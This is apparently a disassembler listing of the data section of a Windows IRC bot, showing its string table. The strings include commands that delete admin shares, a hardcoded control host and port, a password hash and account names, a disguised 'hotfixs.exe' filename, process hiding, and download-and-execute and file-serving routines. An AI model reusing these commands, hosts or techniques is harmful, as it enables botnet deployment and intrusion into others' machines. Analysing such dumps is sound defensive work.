dword_4413D8	dd 19930520h, 3, 4413F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2 dup(0)
dword_441418	dd 19930520h, 5, 441438h, 5 dup(0)		dd 0FFFFFFFFh, 43B140h,	0FFFFFFFFh, 43B148h, 0FFFFFFFFh
		dd 43B150h, 0FFFFFFFFh,	43B158h, 0FFFFFFFFh, 43B160h, 2	dup(0)
dword_441468	dd 19930520h, 0Ch, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B180h,	0
		dd offset loc_43B188
		dd 0FFFFFFFFh, 43B190h,	0FFFFFFFFh, 43B198h, 0FFFFFFFFh
		dd 43B1A0h, 0FFFFFFFFh,	43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
		dd 43B1B8h, 0FFFFFFFFh,	43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
		dd 43B1D0h, 0FFFFFFFFh,	43B1D8h, 4 dup(0)
dword_4414F8	dd 19930520h, 2, 441518h, 1, 441528h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441540h, 4	dup(0)
		dd offset loc_41EE2C
		dd 2 dup(0)
dword_441558	dd 19930520h, 0Ah, 441578h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B22B
		dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
		dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8	dd 19930520h, 2, 4415F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
		dd offset loc_43B2C8
		align 10h
dword_441610	dd 19930520h, 3, 441630h, 5 dup(0)		dd 0FFFFFFFFh, 43B2E0h,	0FFFFFFFFh, 43B2EBh, 1,	43B2F6h
		dd 2 dup(0)
dword_441650	dd 19930520h, 1, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B320h,	2 dup(0)
dword_441680	dd 19930520h, 2, 4416A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B340h,	0
		dd offset loc_43B34B
		dd 2 dup(0)
dword_4416B8	dd 19930520h, 16h, 4416D8h, 5 dup(0)		dd 0FFFFFFFFh, 43B370h,	0
		dd offset loc_43B37B
		dd 0
		dd offset loc_43B383
		dd 0
		dd offset loc_43B38B
		dd 3, 43B393h, 4, 43B39Bh, 0
		dd offset loc_43B3A3
		dd 6, 43B3ABh, 7, 43B3B3h, 0
		dd offset loc_43B3BB
		dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
		dd offset loc_43B3D3
		dd 0Ch,	43B3DBh, 0Dh, 43B3E3h, 0
		dd offset loc_43B3EB
		dd 0Fh,	43B3F3h, 0
		dd offset loc_43B3FB
		dd 11h,	43B403h, 0
		dd offset loc_43B40B
		dd 13h,	43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0	dd 19930520h, 1, 4417C0h, 5 dup(0)		dd 0FFFFFFFFh, 43B460h,	2 dup(0)
dword_4417D0	dd 19930520h, 1, 4417F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B490h,	2 dup(0)
dword_441800	dd 19930520h, 5, 441820h, 5 dup(0)		dd 0FFFFFFFFh, 43B4C0h,	0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
		dd 43B4D0h, 0FFFFFFFFh,	43B4D8h, 0FFFFFFFFh, 43B4E0h, 2	dup(0)
dword_441850	dd 19930520h, 0Bh, 441870h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
		dd 43B521h, 0FFFFFFFFh,	43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
		dd 43B542h, 0FFFFFFFFh,	43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
		dd 43B563h, 0FFFFFFFFh,	43B56Eh, 0FFFFFFFFh, 43B516h, 4	dup(0)
dword_4418D8	dd 19930520h, 5, 4418F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B5B0h,	0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
		dd 43B5C0h, 0FFFFFFFFh,	43B5C8h, 0FFFFFFFFh, 43B5D0h, 2	dup(0)
dword_441928	dd 19930520h, 15h, 441948h, 5 dup(0)		dd 0FFFFFFFFh, 43B5F0h,	0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
		dd 43B61Bh, 0FFFFFFFFh,	43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
		dd 43B636h, 0FFFFFFFFh,	43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
		dd 43B651h, 0FFFFFFFFh,	43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
		dd 43B669h, 0FFFFFFFFh,	43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
		dd 43B684h, 0FFFFFFFFh,	43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
		dd 43B69Ch, 6 dup(0)
dword_441A08	dd 19930520h, 1, 441A28h, 5 dup(0)		dd 0FFFFFFFFh, 43B6E0h,	2 dup(0)
dword_441A38	dd 19930520h, 5, 441A58h, 5 dup(0)		dd 0FFFFFFFFh, 43B700h,	0
		dd offset loc_43B708
		dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88	dd 19930520h, 5, 441AA8h, 5 dup(0)		dd 0FFFFFFFFh, 43B750h,	0
		dd offset loc_43B758
		dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8	dd 19930520h, 1, 441AF8h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	2 dup(0)
dword_441B08	dd 19930520h, 1, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43B7C0h,	2 dup(0)
dword_441B38	dd 19930520h, 1, 441B58h, 5 dup(0)		dd 0FFFFFFFFh, 43B7E0h,	2 dup(0)
dword_441B68	dd 19930520h, 1, 441B88h, 5 dup(0)		dd 0FFFFFFFFh, 43B800h,	2 dup(0)
dword_441B98	dd 19930520h, 1, 441BB8h, 5 dup(0)		dd 0FFFFFFFFh, 43B820h,	2 dup(0)
dword_441BC8	dd 19930520h, 1, 441BE8h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441BF8	dd 19930520h, 1, 441C18h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441C28	dd 19930520h, 1, 441C48h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441C58	dd 19930520h, 6, 441C78h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	0
		dd offset loc_43B8A8
		dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	0
		dd offset loc_43B908
		dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08	dd 19930520h, 3, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43B960h,	0
		dd offset loc_43B968
		dd 1, 43B976h, 2 dup(0)
dword_441D48	dd 19930520h, 16h, 441D68h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9AB
		dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
		dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
		dd 43BA19h, 2, 43BA24h,	0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
		dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh,	0Fh, 43BA66h, 0Fh
		dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h,	6 dup(0)
dword_441E30	dd 19930520h, 1, 441E50h, 5 dup(0)		dd 0FFFFFFFFh, 43BAE0h,	2 dup(0)
dword_441E60	dd 19930520h, 1, 441E80h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	2 dup(0)
dword_441E90	dd 19930520h, 1, 441EB0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB20h,	2 dup(0)
dword_441EC0	dd 19930520h, 1, 441EE0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB40h,	2 dup(0)
dword_441EF0	dd 19930520h, 1, 441F10h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441F20	dd 19930520h, 2, 441F40h, 1, 441F50h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F68h, 4	dup(0)
		dd offset loc_42AF54
		align 10h
dword_441F80	dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FC8h, 4	dup(0)
		dd offset loc_42B031
		align 10h
dword_441FE0	dd 19930520h, 3, 442000h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	0
		dd offset loc_43BBA8
		dd 1, 43BBB0h, 2 dup(0)
dword_442020	dd 19930520h, 1, 442040h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_442050	dd 19930520h, 1, 442070h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_442080	dd 19930520h, 1, 4420A0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC20h,	2 dup(0)
dword_4420B0	dd 19930520h, 1, 4420D0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	2 dup(0)
dword_4420E0	dd 19930520h, 1, 442100h, 5 dup(0)		dd 0FFFFFFFFh, 43BC60h,	2 dup(0)
dword_442110	dd 19930520h, 6, 442130h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
		dd 43BC90h, 0FFFFFFFFh,	43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
		dd 43BCA8h, 2 dup(0)
dword_442168	dd 19930520h, 16h, 442188h, 5 dup(0)		dd 0FFFFFFFFh, 43BCD0h,	0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
		dd 43BCE3h, 0FFFFFFFFh,	43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
		dd 43BCFEh, 0FFFFFFFFh,	43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
		dd 43BD16h, 0FFFFFFFFh,	43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
		dd 43BD31h, 0FFFFFFFFh,	43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
		dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch,	0Eh, 43BD64h, 0Eh
		dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch,	0Eh, 43BD7Ch, 6	dup(0)
dword_442250	dd 19930520h, 2, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288	dd 19930520h, 2, 4422A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BDE0h,	0
		dd offset loc_43BDEB
		align 10h
dword_4422C0	dd 19930520h, 1, 4422E0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE10h,	2 dup(0)
dword_4422F0	dd 19930520h, 2, 442310h, 5 dup(0)		dd 0FFFFFFFFh, 43BE30h,	0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328	dd 19930520h, 0Ah, 442348h, 5 dup(0)		dd 0FFFFFFFFh, 43BE50h,	0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
		dd 43BE66h, 0FFFFFFFFh,	43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
		dd 43BE87h, 0FFFFFFFFh,	43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
		dd 43BEA8h, 0FFFFFFFFh,	43BEB3h, 35Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FF60:loc_41083Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+875o
					; sub_404C70+AF1o ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+831o
					; sub_404C70+B5Eo ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FF60:loc_410949o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CF60+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
		align 8
aN:					; DATA XREF: sub_404C70+D23o
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+977o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6D2o
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+613o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+447o
					; sub_41C030+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9B1o ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40EC30+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:004086ECo ...
dword_4437F8	dd 40h							; sub_40FF60+7CCo ...
dword_4437FC	dd 20544F48h, 53584946h, 0aTsinternetuser	db 'TsInternetUser',0   ; DATA XREF: sub_407790+386o
		align 4
		dd 0
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+375o
		align 4
aE10adc3949ba59	db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+364o
		align 10h
aAbosal7	db 'abosal7',0          ; DATA XREF: sub_407790+353o
		dd 0
aTahy		db 'TAHY-',0            ; DATA XREF: sub_407790+345o
		align 4
aHoewrt		db 'hoewrt',0           ; DATA XREF: sub_407790+334o
		align 4
aHotfixs_exe	db 'hotfixs.exe',0      ; DATA XREF: sub_407790+323o
		dd 0
aServec		db 'servec',0           ; DATA XREF: sub_407790+312o
		align 4
aS_1		db '#s',0               ; DATA XREF: sub_407790+301o
		align 4
aScop		db '#scop#',0           ; DATA XREF: sub_407790+2F0o
		align 10h
a7000		db '7000',0             ; DATA XREF: sub_407790+298o
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
					; sub_407790+2BAo
		align 10h
off_4438B0	dd offset off_43E1D4	; DATA XREF: ___:0043F00Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438D0	dd offset off_43E1D4	; DATA XREF: ___:0043F02Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4438F8	dd offset off_43E1D4	; DATA XREF: ___:0043F04Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
					; ___:0040A971o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B680+3Fo
					; sub_40B700+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B79Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B844o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BA77o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B924o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C400+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C400+327o
		align 10h
dword_443A20	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C400+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CBB0+1B1o
		dd 0
asc_443AF4:				; DATA XREF: sub_40CBB0+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CF60+115o
		align 4
aS_2		db '%s\*',0             ; DATA XREF: sub_40CF60+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D479o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D580+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D580+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D580+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DB40+381o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40ED70+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40ED70+21o
					; sub_40EF90+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F441o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F289o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
		align 10h
		dd 0
asc_443C74	db ' :',0               ; DATA XREF: sub_40FF60+E2Bo
					; sub_40FF60+1118o ...
		align 4
asc_443C78:				; DATA XREF: sub_40FF60+CACo
					; sub_40FF60+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FF60:loc_410928o
					; sub_40FF60:loc_410BB7o
aS_3		db ' -s',0              ; DATA XREF: sub_40FF60:loc_4108FFo
					; sub_40FF60:loc_410B96o
asc_443C84:				; DATA XREF: sub_40FF60+871o
					; sub_40FF60:loc_410BD8o ...
		unicode	0, <:>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
					; sub_40FF60+732o ...
		align 8
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FF60+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
		dd 0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FF60+2C4o
					; sub_4126B0+91o ...
		dd 0
dword_443CC4	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CD4	dd 0A0D7325h, 0						; sub_42D1A0+71o
dword_443CDC	dd 25207325h, 253A2073h, 0A0D73h, 0					; sub_412970+8Fo
dword_443CEC	dd 4255505Bh, 5D43494Ch, 0dword_443CF8	dd 4952505Bh, 45544156h, 5Dhdword_443D04	dd 202Eh						; sub_4126B0+E5o
dword_443D08	dd 3A6E616Ch, 20haUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F27o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412ED4o
		align 10h
aId		db 'id',0               ; DATA XREF: ___:loc_412E7Ao
		align 4
asc_443D24:				; DATA XREF: ___:loc_412E63o
		dw 3Ch
		unicode	0, <>,0
asc_443D28:				; DATA XREF: ___:loc_412E4Co
		dw 3Eh
		unicode	0, <>,0
asc_443D2C	db '==',0               ; DATA XREF: ___:loc_412E35o
		align 10h
asc_443D30	db '!=',0               ; DATA XREF: ___:00412E21o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4137E0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4192C0+312o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4192C0+2EAo
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4192C0+272o
					; sub_4192C0+297o
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4192C0+210o
		align 10h
aEstablished	db 'established',0      ; DATA XREF: sub_4192C0+205o
		align 10h
off_443D70	dd offset dword_504354	; DATA XREF: sub_4192C0+140o
					; ___:0042B302o ...
dword_443D74	dd 2D464544h, 504354h, 0					; sub_4192C0+12Eo
dword_443D80	dd 652Dh	dword_443D84	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419CF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419CCCo
		align 10h
byte_443DC0	db 1			; DATA XREF: sub_41A290r
		align 4
dword_443DC4	dd 2Eh							; ___:0041B235o ...
dword_443DC8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443E14:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443E28	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E3C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E74	dd 63257325h, 0						; sub_41F860+E5o
dword_443E7C	dd 72h		dword_443E80	dd 30h							; sub_424840+327o
dword_443E84	dd 3039h	dword_443E88	dd 383631h	dword_443E8C	dd 323931h	dword_443E90	dd 3631h	dword_443E94	dd 323731h	dword_443E98	dd 3031h	off_443E9C	dd offset dword_5C005C	; DATA XREF: ___:0041C117r
					; ___:0041C287r
word_443EA0	dw 0			; DATA XREF: ___:0041C121r
					; ___:0041C291r
		align 4
off_443EA4	dd offset dword_49005C	; DATA XREF: ___:0041C0E6r
					; ___:0041C256r
dword_443EA8	dd 430050h						; ___:0041C25Br
dword_443EAC	dd 24h							; ___:0041C27Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_443EE8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_443FEC	dd 28737973h, 6F626572h, 29746Fh, 0dword_443FFC	dd 6469706Bh, 7325203Ah, 0dword_444008	dd 203A736Bh, 7325hdword_444010	dd 202E6425h, 7325202Fh, 0dword_44401C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_444098:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
